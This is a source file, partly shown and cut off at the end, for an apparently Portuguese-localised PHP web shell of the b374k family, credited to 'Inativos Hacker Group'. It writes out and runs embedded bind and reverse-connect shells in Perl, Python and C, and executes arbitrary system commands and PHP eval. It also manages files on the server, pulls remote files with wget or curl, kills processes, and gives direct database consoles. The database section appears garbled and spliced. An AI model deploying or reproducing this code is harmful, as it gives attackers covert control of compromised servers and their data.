return trim(str_replace("<br />","",$t));
}

function cs($t){
return str_replace(" ","_",$t);
}

function ss($t){
if (!get_magic_quotes_gpc()) return trim(urldecode($t));
return trim(urldecode(stripslashes($t)));
}

function ssc($t){
if (!get_magic_quotes_gpc()) return $t;
return stripslashes($t);
}

function rs($s_win, $d, $type, $sc, $target){
$result = "";
$fc = gzinflate(base64_decode($sc));
$errperm = "<p class=\"rs_result\">Erro: Permissão negada. Veja as permissões do diretório</p>";
$errgcc = "<p class=\"rs_result\">Erro: Não foi possivel usar o gcc para compilar</p>";
if($type == "xbind_pl"){
$fname = "b374k_bind.pl";
$fpath = $d.$fname;
if(is_file($fpath)) unlink($fpath);
if($file=fopen($fpath,"w")){
fwrite($file,$fc);
fclose($file);
if(is_file($fpath)){
$res = exe("chmod +x ".$fpath);
$res = exe("perl ".$fpath." ".$target);
}

else $result = $errperm;
}

else $result = $errperm;
}

elseif($type == "xbind_py"){
$fname = "b374k_bind.py";
$fpath = $d.$fname;
if(is_file($fpath)) unlink($fpath);
if($file=fopen($fpath,"w")){
fwrite($file,$fc);
fclose($file);
if(is_file($fpath)){
$res = exe("chmod +x ".$fpath);
$res = exe("python ".$fpath." ".$target);
}

else $result = $errperm;
}

else $result = $errperm;
}

elseif($type == "xbind_bin"){
$fname = "b374k_bind";
$fpath = $d.$fname;
if(!$s_win){
if(is_file($fpath)) unlink($fpath);
if(is_file($fpath.".c")) unlink($fpath.".c");
if($file=fopen($fpath.".c","w")){
fwrite($file,$fc); fclose($file);
if(is_file($fpath.".c")){
$res = exe("gcc ".$fpath.".c -o ".$fpath);
if(is_file($fpath)){
$res = exe("chmod +x ".$fpath);
$res = exe($fpath." ".$target);
}

else $result = $errgcc;
}

else $result = $errperm;
}

else $result = $errperm;
}

else{
$fpath = $fpath . ".exe";
if(is_file($fpath)) unlink($fpath);
if($file=fopen($fpath,"w")){
fwrite($file,$fc);
fclose($file);
if(is_file($fpath)){
$res = exe("\"".$fpath."\" ".$target);
}

else $result = $errperm;
}

else $result = $errperm;

}
}

elseif($type == "xback_pl"){
$fname = "b374k_back.pl";
$fpath = $d.$fname;
$tar = explode(" ",$target,2);
if(is_file($fpath)) unlink($fpath);
if($file=fopen($fpath,"w")){
fwrite($file,$fc);
fclose($file);
if(is_file($fpath)){
$res = exe("chmod +x ".$fpath);
$res = exe("perl ".$fpath." ".$target);
}

else $result = $errperm;
}

else $result = $errperm;
}

elseif($type == "xback_py"){
$fname = "b374k_back.py";
$fpath = $d.$fname;
$tar = explode(" ",$target,2);
if(is_file($fpath)) unlink($fpath);
if($file=fopen($fpath,"w")){
fwrite($file,$fc);
fclose($file);
if(is_file($fpath)){
$res = exe("chmod +x ".$fpath);
$res = exe("python ".$fpath." ".$target);
}

else $result = $errperm;
}

else $result = $errperm;
}

elseif($type == "xback_bin"){
$fname = "b374k_back";
$fpath = $d.$fname;
$tar = explode(" ",$target,2);
if(!$s_win){
if(is_file($fpath)) unlink($fpath);
if(is_file($fpath.".c")) unlink($fpath.".c");
if($file=fopen($fpath.".c","w")){
fwrite($file,$fc);
fclose($file);
if(is_file($fpath.".c")){
$res = exe("gcc ".$fpath.".c -o ".$fpath);
if(is_file($fpath)){
$res = exe("chmod +x ".$fpath);
$res = exe($fpath." ".$target);
}

else $result = $errgcc;
}

else $result = $errperm;
}

else $result = $errperm;
}

else{
$fpath = $fpath . ".exe";
if(is_file($fpath)) unlink($fpath);
if($file=fopen($fpath,"w")){
fwrite($file,$fc);
fclose($file);
if(is_file($fpath)){
$res = exe($fpath." ".$target);
}

else $result = $errperm;
}

else $result = $errperm;
}
}
return $result;
}

function gs($f){
if($s = filesize($f)){
if($s <= 1024) return $s;

else{
if($s <= 1024*1024){
$s = round($s / 1024,2);
return $s." kb";
}

else {
$s = round($s / 1024 / 1024,2);
return $s." mb";
}
}
}

else return "???";
}

function gp($f){
if($m=fileperms($f)){
$p=''; $p .= ($m & 00400) ? 'r' : '-';
$p .= ($m & 00200) ? 'w' : '-';
$p .= ($m & 00100) ? 'x' : '-';
$p .= ($m & 00040) ? 'r' : '-';
$p .= ($m & 00020) ? 'w' : '-';
$p .= ($m & 00010) ? 'x' : '-';
$p .= ($m & 00004) ? 'r' : '-';
$p .= ($m & 00002) ? 'w' : '-';
$p .= ($m & 00001) ? 'x' : '-';
return $p;
}

else return "??????????";
}

function exe($c){
if(function_exists('system')){
ob_start();
system($c);
$b = ob_get_contents();
ob_end_clean();
return $b;
}

elseif(function_exists('shell_exec')){
$b = shell_exec($c);
return $b;
}

elseif(function_exists('exec')){
exec($c,$r);
$b = "";
foreach($r as $s){
$b .= $s;
}

return $b;
}

elseif(function_exists('passthru')){
ob_start();
passthru($c);
$b = ob_get_contents();
ob_end_clean();
return $b;
}

return "";
}

function cp($p){
if(is_dir($p)){
$x = DIRECTORY_SEPARATOR;
while(substr($p,-1) == $x) $p = rtrim($p,$x);
return $p.$x;
}

return $p;
}

function rmdirs($d){
$f = glob($d . '*', GLOB_MARK);
foreach($f as $z){
if(is_dir($z)) rmdirs($z);
else unlink($z);
}

if(is_dir($d)) rmdir($d);
}

function xwhich($pr){
$p = exe("which $pr");
if(trim($p)!=""){
return trim($p);
}

else{
return trim($pr);
}
}

function dlfile($u,$p){
$n = basename($u);
if($t = file_get_contents($u)){
if(is_file($p)) unlink($p);
if($f=fopen($p,"w")){
fwrite($f,$t);
fclose($f);
if(is_file($p)) return true;
}
}

exe(xwhich('wget')." ".$u." -O ".$p);
if(is_file($p)) return true;
exe(xwhich('lwp-download')." ".$u." ".$p);
if(is_file($p)) return true;
exe(xwhich('lynx')." -source ".$u." > ".$p);
if(is_file($p)) return true;
exe(xwhich('curl')." ".$u." -o ".$p);
if(is_file($p)) return true;
return false;
}

function showdir($pwd,$prompt,$win){
if(function_exists("posix_getpwuid") && function_exists("posix_getgrgid")) $posix = TRUE;
else $posix = FALSE;
$user = "????:????";
$fname = array();
$dname = array();
if($dh = scandir($pwd)){
foreach($dh as $file){
if(is_dir($file)) $dname[] = $file;
elseif(is_file($file)) $fname[] = $file;
}
}

else{
if($dh = opendir($pwd)){
while($file = readdir($dh)){
if(is_dir($file)) $dname[] = $file;
elseif(is_file($file))$fname[] = $file;
} closedir($dh);
}
}

sort($fname);
sort($dname);
$path = explode(DIRECTORY_SEPARATOR,$pwd);
$tree = sizeof($path);
$parent = "";
$buff = "
<table class=\"explore sortable\">
<tr>
<th>Nome</th>
<th style=\"width:60px;\">Tamanho</th>
<th style=\"width:100px;\">Dono/Owner: Inativos Hacker Group</th>
<th style=\"width:70px;\">Permissões</th>
<th style=\"width:110px;\">Modificado</th>
<th style=\"width:210px;\">Ações</th>
</tr>
";

if($tree > 2) for($i=0;$i<$tree-2;$i++) $parent .= $path[$i].DIRECTORY_SEPARATOR;
else $parent = $pwd;
foreach($dname as $folder){
if($folder == "."){
if(!$win && $posix){
$name = posix_getpwuid(fileowner($folder));
$group = posix_getgrgid(filegroup($folder));
$owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name'];
}

else{
$owner = $user;
}

$buff .= "
<tr>
<td>
<a href=\"?d=".$pwd."\">[ $folder ]</a>
</td>

<td>LINK</td>
<td style=\"text-align:center;\">".$owner."</td>
<td style=\"text-align:center;\">".gp($pwd)."</td>
<td style=\"text-align:center;\">".date("d-M-Y H:i",filemtime($pwd))."</td>

<td>
<span id=\"titik1\">
<a href=\"?d=$pwd&edit=".$pwd."newfile.php\">Novo arquivo</a> | <a href=\"javascript:tukar('titik1','titik1_form');\" >Nova pasta</a> | <a href=\"?upload&d=$pwd\">Upload</a>
</span>
<form action=\"" . $_SERVER['PHP_SELF'] . "\" method=\"get\" id=\"titik1_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
<input type=\"hidden\" name=\"d\" value=\"".$pwd."\" />
<input class=\"inputz\" id=\"titik1_\" style=\"width:140px;\" type=\"text\" name=\"mkdir\" value=\"a_new_folder\" />
<input class=\"inputzbut\" type=\"submit\" name=\"rename\" style=\"width:35px;\" value=\"Go !\" />
</form>
</td>
</tr>
";
}

elseif($folder == ".."){
if(!$win && $posix){
$name = posix_getpwuid(fileowner($folder));
$group = posix_getgrgid(filegroup($folder));
$owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name'];
}

else{
$owner = $user;
}

$buff .= "
<tr>
<td>
<a href=\"?d=".$parent."\">[ $folder ]</a>
</td>

<td>LINK</td>
<td style=\"text-align:center;\">".$owner."</td>
<td style=\"text-align:center;\">".gp($parent)."</td>
<td style=\"text-align:center;\">".date("d-M-Y H:i",filemtime($parent))."</td>

<td>
<span id=\"titik2\">
<a href=\"?d=$pwd&edit=".$parent."newfile.php\">N ovo arquivo</a> | <a href=\"javascript:tukar('titik2','titik2_form');\" >Nova pasta</a> | <a href=\"?upload&d=$parent\">Upload</a>
</span>

<form action=\"" . $_SERVER['PHP_SELF'] . "\" method=\"get\" id=\"titik2_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
<input type=\"hidden\" name=\"d\" value=\"".$pwd."\" />
<input class=\"inputz\" id=\"titik2_\" style=\"width:140px;\" type=\"text\" name=\"mkdir\" value=\"a_new_folder\" />
<input class=\"inputzbut\" type=\"submit\" name=\"rename\" style=\"width:35px;\" value=\"Go !\" />
</form>
</td>
</tr>";

}

else{
if(!$win && $posix){
$name = posix_getpwuid(fileowner($folder));
$group = posix_getgrgid(filegroup($folder));
$owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name'];
}

else{
$owner = $user;
}

$buff .= "
<tr>
<td>
<a id=\"".cs($folder)."_link\" href=\"?d=".$pwd.$folder.DIRECTORY_SEPARATOR."\">[ $folder ]</a>
<form action=\"" . $_SERVER['PHP_SELF'] . "\" method=\"post\" id=\"".cs($folder)."_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
<input type=\"hidden\" name=\"oldname\" value=\"".$folder."\" style=\"margin:0;padding:0;\" />
<input type=\"hidden\" name=\"d\" value=\"".$pwd."\" />
<input class=\"inputz\" style=\"width:200px;\" id=\"".cs($folder)."_link_\" type=\"text\" name=\"newname\" value=\"".$folder."\" />
<input class=\"inputzbut\" type=\"submit\" name=\"rename\" value=\"rename\" />
<input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('".cs($folder)."_form','".cs($fold er)."_link');\" />
</form>
<td>DIR</td>

<td style=\"text-align:center;\">".$owner."</td>
<td style=\"text-align:center;\">".gp($pwd.$folder)."</td>
<td style=\"text-align:center;\">".date("d-M-Y H:i",filemtime($folder))."</td>

<td>
<a href=\"javascript:tukar('".cs($folder)."_link','". cs($folder)."_form');\">Renomear</a> | <a href=\"?d=".$pwd."&rmdir=".$pwd.$folder."\">De letar</a> | <a href=\"?upload&d=".$pwd.$folder."\">Upload</a>
</td>
</tr>";
}
}

foreach($fname as $file){
$full = $pwd.$file;
if(!$win && $posix){
$name = posix_getpwuid(fileowner($full));
$group = posix_getgrgid(filegroup($full));
$owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name'];
}

else{
$owner = $user;
}

$buff .= "
<tr>
<td>
<a id=\"".cs($file)."_link\" href=\"?d=$pwd&view=$full\">$file</a>
<form action=\"" . $_SERVER['PHP_SELF'] . "\" method=\"post\" id=\"".cs($file)."_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
<input type=\"hidden\" name=\"oldname\" value=\"".$file."\" style=\"margin:0;padding:0;\" />
<input type=\"hidden\" name=\"d\" value=\"".$pwd."\" />
<input class=\"inputz\" style=\"width:200px;\" type=\"text\" id=\"".cs($file)."_link_\" name=\"newname\" value=\"".$file."\" />
<input class=\"inputzbut\" type=\"submit\" name=\"rename\" value=\"rename\" />
<input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('".cs($file)."_link','".cs($file). "_form');\" />
</form>
</td>

<td>".gs($full)."</td>
<td style=\"text-align:center;\">".$owner."</td>
<td style=\"text-align:center;\">".gp($full)."</td>
<td style=\"text-align:center;\">".date("d-M-Y H:i",filemtime($full))."
</td>

<td>
<a href=\"?d=$pwd&edit=$full\">Editar</a> | <a href=\"javascript:tukar('".cs($file)."_link','".cs ($file)."_form');\">Renomear</a> | <a href=\"?d=$pwd&delete=$full\">Deletar</a> | <a href=\"?d=$pwd&dl=$full\">Download</a> (<a href=\"?d=$pwd&dlgzip=$full\">gzip</a>)
</td>
</tr>";
}

$buff .= "</table>";
return $buff;
}

if(isset($_REQUEST['favicon'])){
$data = gzinflate(base64_decode($favicon));
header("Content-type: image/png");
header("Cache-control: public");
echo $data;
exit;
}

if($s_auth){
$s_software = getenv("SERVER_SOFTWARE");
if (ini_get("safe_mode") or strtolower(ini_get("safe_mode")) == "on") $s_safemode = TRUE;
else $s_safemode = FALSE;
$s_system = php_uname();
$s_win = FALSE;
if(strtolower(substr($s_system,0,3)) == "win") $s_win = TRUE;
$letters = '';
if(!$s_win){
if(!$s_user = rp(exe("whoami"))) $s_user = "";
if(!$s_id = rp(exe("id"))) $s_id = "";
$pwd = getcwd().DIRECTORY_SEPARATOR;
}

else{
$s_user = get_current_user();
$s_id = $s_user;
$pwd = realpath(".")."\\";
$v = explode("\\",$d);
$v = $v[0];
foreach(range("A","Z") as $letter){
$bool = @is_dir($letter.":\\");
if ($bool){
$letters .= "<a href=\"?d=".$letter.":\\\">[ ";
if ($letter.":" != $v){
$letters .= $letter;
}

else{
$letters .= "<span class=\"gaya\">".$letter."</span>";
}

$letters .= " ]</a> ";
}
}
}

$s_prompt = $s_user." >";
if(function_exists("posix_getpwuid") && function_exists("posix_getgrgid")) $s_posix = TRUE;
else $s_posix = FALSE;
$s_server_ip = gethostbyname($_SERVER["HTTP_HOST"]);
$s_my_ip = $_SERVER['REMOTE_ADDR'];
if(isset($_REQUEST['d'])){
$d = ss($_REQUEST['d']);
if(is_dir($d)){ chdir($d);
$pwd = cp($d);
}
}

else $pwd = cp(getcwd());
if(isset($_REQUEST['sorttable'])){
$data = gzinflate(base64_decode($sortable_js));
header("Content-type: text/plain");
header("Cache-control: public");
echo $data;
exit;
}

if(isset($_REQUEST['dl']) && ($_REQUEST['dl'] != "")){
$f = ss($_REQUEST['dl']);
$fc = file_get_contents($f);
header("Content-type: application/octet-stream");
header("Content-length: ".strlen($fc));
header("Content-disposition: attachment; filename=\"".basename($f)."\"");
echo $fc;
exit;
}

elseif(isset($_REQUEST['dlgzip']) && ($_REQUEST['dlgzip'] != "")){
$f = ss($_REQUEST['dlgzip']);
$fc = gzencode(file_get_contents($f));
header("Content-Type:application/x-gzip\n");
header("Content-length: ".strlen($fc));
header("Content-disposition: attachment; filename=\"".basename($f).".gz\"");
echo $fc;
exit;
}

if(isset($_REQUEST['pid'])){
$p = ss($_REQUEST['pid']);
if(function_exists("posix_kill")) posix_kill($p,'9');
else{
exe("kill -9 ".$p);
exe("taskkill /F /PID ".$p);
}
}

if(isset($_REQUEST['img'])){
ob_clean();
$d = ss($_REQUEST['d']);
$f = ss($_REQUEST['img']);
$inf = getimagesize($d.$f);
$ext = explode($f,".");
$ext = $ext[count($ext)-1];
header("Content-type: ".$inf["mime"]);
header("Cache-control: public");
header("Expires: ".date("r",mktime(0,0,0,1,1,2030)));
header("Cache-control: max-age=".(60*60*24*7));
readfile($d.$f);
exit;
}

if(isset($_REQUEST['rename']) && isset($_REQUEST['oldname']) && isset($_REQUEST['newname'])){
$old = ss($_REQUEST['oldname']);
$new = ss($_REQUEST['newname']);
rename($pwd.$old,$pwd.$new);
$fnew = $pwd.$new;
}

if(isset($_REQUEST['delete']) && ($_REQUEST['delete'] != "")){
$f = ss($_REQUEST['delete']);
if(is_file($f)) unlink($f);
}

elseif(isset($_REQUEST['rmdir']) && ($_REQUEST['rmdir'] != "")){
$f = ss(rtrim(ss($_REQUEST['rmdir'],DIRECTORY_SEPARATOR)));
if(is_dir($f)) rmdirs($f);
}

elseif(isset($_REQUEST['mkdir']) && ($_REQUEST['mkdir'] != "")){
$f = ss($pwd.ss($_REQUEST['mkdir']));
if(!is_dir($f)) mkdir($f);
}

$s_result = "";
if(isset($_REQUEST['eval'])){
$c = ""; if(isset($_REQUEST['evalcode'])){
$eval_addition = "error_reporting(E_ALL);@ini_set(\"display_errors\ ", 1);";
$c = ss($_REQUEST['evalcode']);
ob_start();
eval(eval($eval_addition) . eval($c));
$b = ob_get_contents();
ob_end_clean();
$code = $b;
}

$s_result .= "
<form action=\"" . $_SERVER['PHP_SELF'] . "\" method=\"post\">
<textarea id=\"evalcode\" name=\"evalcode\" class=\"evalcode\">".htmlspecialchars($code)."</textarea>
<p>
<input type=\"submit\" name=\"evalcodesubmit\" class=\"inputzbut\" value=\"Join the Fun! \" style=\"width:120px;height:30px;\" />
</p>
<input type=\"hidden\" name=\"eval\" value=\"\" />
<input type=\"hidden\" name=\"d\" value=\"".$pwd."\" />
</form>
";
}

elseif(isset($_REQUEST['upload'])){
$s_result = " ";
$msg = "";
if(isset($_REQUEST['uploadhd'])){
$fn = $_FILES['filepath']['name'];
if(is_uploaded_file($_FILES['filepath']['tmp_name'])){
$p = cp(ss($_REQUEST['savefolder']));
if(!is_dir($p)) $p = cp(dirname($p));
if(isset($_REQUEST['savefilename']) && (trim($_REQUEST['savefilename'])!="")) $fn = ss($_REQUEST['savefilename']);
$tm = $_FILES['filepath']['tmp_name'];
$pi = cp($p).$fn;
$st = move_uploaded_file($tm,$pi);
if($st) $msg = " <p class=\"rs_result\">Arquivo enviado para <a href=\"?d=".$pwd."&view=".$pi."\">".$pi."</a></p>";

else $msg = "<p class=\"rs_result\">Falha no upload de ".$fn."</p>";
}

else $msg = "<p class=\"rs_result\">Falha no upload de ".$fn."</p>";
}

else if(isset($_REQUEST['uploadurl'])){
$p = cp(ss($_REQUEST['savefolderurl']));

if(!is_dir($p)) $p = cp(dirname($p));
$fu = ss($_REQUEST['fileurl']);
$fn = basename($fu);

if(isset($_REQUEST['savefilenameurl']) && (trim($_REQUEST['savefilenameurl'])!="")) $fn = ss($_REQUEST['savefilenameurl']);
$fp = cp($p).$fn;
$st = dlfile($fu,$fp);
if($st) $msg = "<p class=\"rs_result\">Arquivo enviado para <a href=\"?d=".$pwd."&view=".$fp."\">".$fp."</a></p>";

else $msg = "<p class=\"rs_result\">Falha no upload ".$fn."</p>";
}

$s_result .= $msg; $s_result .= "
<form action=\"" . $_SERVER['PHP_SELF'] . "?upload\" method=\"post\" enctype=\"multipart/form-data\">
<div class=\"mybox\"><h2>Enviar do computador</h2>
<table class=\"myboxtbl\">
<tr>
<td style=\"width:100px;\">File</td>
<td><input type=\"file\" name=\"filepath\" class=\"inputzbut\" style=\"width:400px;margin:0;\" />
</td>
</tr>
<tr>
<td>Salvar em </td>
<td>
<input style=\"width:100%;\" class=\"inputz\" type=\"text\" name=\"savefolder\" value=\"".$pwd."\" />
</td>
</tr>
<tr>
<td>Nome do arquivo (opcional)</td>
<td><input style=\"width:100%;\" class=\"inputz\" type=\"text\" name=\"savefilename\" value=\"\" /></td>
</tr>
<tr>
<td> </td>

<td>
<input type=\"submit\" name=\"uploadhd\" class=\"inputzbut\" value=\"Upload !\" style=\"width:120px;height:30px;margin:10px 2px 0 2px;\" />
</td>
</tr>

<input type=\"hidden\" name=\"d\" value=\"".$pwd."\" />
</table>
</div>
</form>

<form action=\"" . $_SERVER['PHP_SELF'] . "?upload\" method=\"post\">
<div class=\"mybox\"><h2>Enviar da internet</h2>
<table class=\"myboxtbl\">
<tr>
<td style=\"width:100px;\">Endereço do Arquivo </td>
<td><input style=\"width:100%;\" class=\"inputz\" type=\"text\" name=\"fileurl\" value=\"\" /></td>
</tr>

<tr>
<td>Salvar em </td>
<td>
<input style=\"width:100%;\" class=\"inputz\" type=\"text\" name=\"savefolderurl\" value=\"".$pwd."\" />
</td>
</tr>

<tr>
<td>Nome do arquivo (opcional)</td><td><input style=\"width:100%;\" class=\"inputz\" type=\"text\" name=\"savefilenameurl\" value=\"\" /></td>
</tr>

<tr>
<td> </td>

<td>
<input type=\"submit\" name=\"uploadurl\" class=\"inputzbut\" value=\"Upload !\" style=\"width:120px;height:30px;margin:10px 2px 0 2px;\" />
</td>
</tr>

<input type=\"hidden\" name=\"d\" value=\"".$pwd."\" />
</table>
</div>
</form>
";
}

elseif(isset($_REQUEST['phpinfo'])){
ob_start(); eval("phpinfo();");
$b = ob_get_contents();
ob_end_clean();
$a = strpos($b,"<body>")+6;
$z = strpos($b,"</body>");
$s_result = "<div class=\"phpinfo\">".substr($b,$a,$z-$a)."</div>";
}

elseif(isset($_REQUEST['db'])){
$sqlhost = $sqlhost1 = $sqlhost2 = $sqlhost3 = $sqlhost4 = 'localhost';
$sqluser = $sqluser1 = $sqluser2 = $sqluser3 = $sqluser4 = $odbcuser = $odbcdsn = $pdodsn = $pdouser = '';
$sqlport = $sqlport1 = $sqlport2 = $sqlport3 = $sqlport4 = '';
$sqlpass = $sqlpass1 = $sqlpass2 = $sqlpass3 = $sqlpass4 = $odbcpass = $pdopass = '';
if(isset($_REQUEST['mysqlcon'])&&isset($_REQUEST['sqlhost1'])) $sqlhost = $sqlhost1 = ss($_REQUEST['sqlhost1']);
if(isset($_REQUEST['mssqlcon'])&&isset($_REQUEST['sqlhost2'])) $sqlhost = $sqlhost2 = ss($_REQUEST['sqlhost2']);
if(isset($_REQUEST['pgsqlcon'])&&isset($_REQUEST['sqlhost3'])) $sqlhost = $sqlhost3 = ss($_REQUEST['sqlhost3']);
if(isset($_REQUEST['oraclecon'])&&isset($_REQUEST['sqlhost4'])) $sqlhost = $sqlhost4 = ss($_REQUEST['sqlhost4']);
if(isset($_REQUEST['odbccon'])&&isset($_REQUEST['odbcdsn'])) $odbcdsn = ss($_REQUEST['odbcdsn']);
if(isset($_REQUEST['pdocon'])&&isset($_REQUEST['pdodsn'])) $pdodsn = ss($_REQUEST['pdodsn']);
if(isset($_REQUEST['sqlhost'])) $sqlhost = ss($_REQUEST['sqlhost']);
if(isset($_REQUEST['mysqlcon'])&&isset($_REQUEST['sqluser1'])) $sqluser = $sqluser1 = ss($_REQUEST['sqluser1']);
if(isset($_REQUEST['mssqlcon'])&&isset($_REQUEST['sqluser2'])) $sqluser = $sqluser2 = ss($_REQUEST['sqluser2']);
if(isset($_REQUEST['pgsqlcon'])&&isset($_REQUEST['sqluser3'])) $sqluser = $sqluser3 = ss($_REQUEST['sqluser3']);
if(isset($_REQUEST['oraclecon'])&&isset($_REQUEST['sqluser4'])) $sqluser = $sqluser4 = ss($_REQUEST['sqluser4']);
if(isset($_REQUEST['odbccon'])&&isset($_REQUEST['odbcuser'])) $odbcuser = ss($_REQUEST['odbcuser']);
if(isset($_REQUEST['pdocon'])&&isset($_REQUEST['pdouser'])) $pdouser = ss($_REQUEST['pdouser']);
if(isset($_REQUEST['sqluser'])) $sqluser = ss($_REQUEST['sqluser']);
if(isset($_REQUEST['mysqlcon'])&&isset($_REQUEST['sqlport1'])) $sqlport = $sqlport1 = ss($_REQUEST['sqlport1']);
if(isset($_REQUEST['mssqlcon'])&&isset($_REQUEST['sqlport2'])) $sqlport = $sqlport2 = ss($_REQUEST['sqlport2']);
if(isset($_REQUEST['pgsqlcon'])&&isset($_REQUEST['sqlport3'])) $sqlport = $sqlport3 = ss($_REQUEST['sqlport3']);
if(isset($_REQUEST['oraclecon'])&&isset($_REQUEST['sqlport4'])) $sqlport = $sqlport4 = ss($_REQUEST['sqlport4']);
if(isset($_REQUEST['sqlport'])) $sqlport = ss($_REQUEST['sqlport']);
if(isset($_REQUEST['mysqlcon']) &&isset($_REQUEST['sqlpass1'])) $sqlpass = $sqlpass1 = ss($_REQUEST['sqlpass1']);
if(isset($_REQUEST['mssqlcon'])&&isset($_REQUEST['sqlpass2'])) $sqlpass = $sqlpass2 = ss($_REQUEST['sqlpass2']);
echo "<table class=\"explore\" style=\"width:99%;\"><tr>";

for($i=0;$i<mysql_num_fields($hasil);$i++) $q_result .= "<th>".htmlspecialchars(mysql_field_name($hasil,$i ))."</th>";
$q_result .= "</tr>";

while($rows=mysql_fetch_array($hasil)){
$q_result .= "<tr>";
for($j=0;$j<mysql_num_fields($hasil);$j++){
if($rows[$j] == "") $dataz = " ";
else $dataz = $rows[$j];
$q_result .= "<td>".htmlspecialchars($dataz)."</td>";
}

$q_result .= "</tr>";
}

$q_result .= "</table>";
}
else $q_result .= "<p style=\"padding:0;margin:20px 6px 0 6px;\">".$query.";   ";

}

else $sqls = "SHOW databases;"; $s_result .= " <form action=\"" . $_SERVER['PHP_SELF'] . "?db\" method=\"post\">
<input type=\"hidden\" name=\"sqlhost\" value=\"".$sqlhost."\" />
<input type=\"hidden\" name=\"sqluser\" value=\"".$sqluser."\" />
<input type=\"hidden\" name=\"sqlport\" value=\"".$sqlport."\" />
<input type=\"hidden\" name=\"sqlpass\" value=\"".$sqlpass."\" />
<input type=\"hidden\" name=\"d\" value=\"".$pwd."\" />
<textarea id=\"sqlcode\" name=\"sqlcode\" class=\"evalcode\" style=\"height:10em;\">".$sqls."</textarea>
<p>
<input type=\"submit\" name=\"mysqlcon\" class=\"inputzbut\" value=\"Ir !\" style=\"width:120px;height:30px;\" />
  Separe comandos multiplos com um ponto e virgula <span class=\"gaya\">[</span> ; <span class=\"gaya\">]</span></p>
</form>";

$s_result .= "<div>".$q_result."</div>";
if($con) mysql_close($con);

elseif(isset($_REQUEST['mssqlcon']) && ($con = mssql_connect($hostandport,$sqluser,$sqlpass))){
if(isset($_REQUEST['sqlcode'])){
$sqls = ss($_REQUEST['sqlcode']);
$querys = explode("",$sqls);
foreach($querys as $query){
if(trim($query) != ""){
$hasil = mssql_query($query);
if($hasil){
$q_result .= "<p style=\"padding:0;margin:20px 6px 0 6px;\">".$query.";   
<span class=\"gaya\">[</span> ok <span class=\"gaya\">]</span>
</p>
<table class=\"explore\" style=\"width:99%;\">
<tr>";

for($i=0;$i<mssql_num_fields($hasil);$i++) $q_result .= "<th>".htmlspecialchars(mssql_field_name($hasil,$i ))."</th>";
$q_result .= "</tr>";
while($rows=mssql_fetch_array($hasil)){
$q_result .= "<tr>";
for($j=0;$j<mssql_num_fields($hasil);$j++){
if($rows[$j] == "") $dataz = " ";

else $dataz = $rows[$j];
$q_result .= "<td>".htmlspecialchars($dataz)."</td>";
}

$q_result .= "</tr>";
} $q_result .= "</table>";
}

else $q_result .= "<p style=\"padding:0;margin:20px 6px 0 6px;\">".$query.";   
<span class=\"gaya\">[</span> ERRO <span class=\"gaya\">]</span></p>";
}
}
}

else $sqls = "EXEC sp_databases;";
$s_result .= "
<form action=\"" . $_SERVER['PHP_SELF'] . "?db\" method=\"post\">
<input type=\"hidden\" name=\"sqlhost\" value=\"".$sqlhost."\" />
<input type=\"hidden\" name=\"sqluser\" value=\"".$sqluser."\" />
<input type=\"hidden\" name=\"sqlport\" value=\"".$sqlport."\" />
<input type=\"hidden\" name=\"sqlpass\" value=\"".$sqlpass."\" />
<input type=\"hidden\" name=\"d\" value=\"".$pwd."\" />
<textarea id=\"sqlcode\" name=\"sqlcode\" class=\"evalcode\" style=\"height:10em;\">".$sqls."</textarea>
<p>
<input type=\"submit\" name=\"mssqlcon\" class=\"inputzbut\" value=\"Continuar !\" style=\"width:120px;height:30px;\" />
  Separate multiple commands with a semicolon <span class=\"gaya\">[</span> ; <span class=\"gaya\">]</span>
</p>
</form>";

$s_result .= "<div>".$q_result."</div>";

if($con) mssql_close($con);
}

elseif(isset($_REQUEST['oraclecon']) && ($con = oci_connect($sqluser,$sqlpass,$hostandport))){
if(isset($_REQUEST['sqlcode'])){
$sqls = ss($_REQUEST['sqlcode']);
$querys = explode("",$sqls);
foreach($querys as $query){
if(trim($query) != ""){
$st = oci_parse($con, $query);
if(oci_execute($st)){
$q_result .= "<p style=\"padding:0;margin:20px 6px 0 6px;\">".$query.";   
<span class=\"gaya\">[</span> ok <span class=\"gaya\">]</span></p>
<table class=\"explore\" style=\"width:99%;\"><tr>";

for($i=1;$i<=oci_num_fields($st);$i++) $q_result .= "<th>".htmlspecialchars(oci_field_name($st,$i) )."</th>";
$q_result .= "</tr>";

while($rows=oci_fetch_array($st)){
$q_result .= "<tr>";
for($j=0;$j<oci_num_fields($st);$j++){
if($rows[$j] == "") $dataz = " ";

else $dataz = $rows[$j];
$q_result .= "<td>".htmlspecialchars($dataz)."</td>";
}

$q_result .= "</tr>";
}
$q_result .= "</table>";

} else $q_result .= "<p style=\"padding:0;margin:20px 6px 0 6px;\">".$query.";   
<span class=\"gaya\">[</span> ERRO <span class=\"gaya\"></span></p>";
}
}
}

else $sqls = "SELECT * FROM user_tablespaces;";
$s_result .= "
<form action=\"" . $_SERVER['PHP_SELF'] . "?db\" method=\"post\">
<input type=\"hidden\" name=\"sqlhost\" value=\"".$sqlhost."\" />
<input type=\"hidden\" name=\"sqluser\" value=\"".$sqluser."\" />
<input type=\"hidden\" name=\"sqlport\" value=\"".$sqlport."\" />
<input type=\"hidden\" name=\"sqlpass\" value=\"".$sqlpass."\" />
<input type=\"hidden\" name=\"d\" value=\"".$pwd."\" />
<textarea id=\"sqlcode\" name=\"sqlcode\" class=\"evalcode\" style=\"height:10em;\">".$sqls."</textarea>
<p>
<input type=\"submit\" name=\"oraclecon\" class=\"inputzbut\" value=\"Go !\" style=\"width:120px;height:30px;\" />
  Separe comandos multiplos com ponto e virgula <span class=\"gaya\">[</span> ; <span class=\"gaya\">]</span>
</p>
</form>";

$s_result .= "<div>".$q_result."</div>";
if($con) oci_close($con);
}

elseif(isset($_REQUEST['pgsqlcon']) && ($con = pg_connect("host=$sqlhost user=$sqluser password=$sqlpass port=$sqlport"))){
if(isset($_REQUEST['sqlcode'])){
$sqls = ss($_REQUEST['sqlcode']);
$querys = explode("",$sqls);
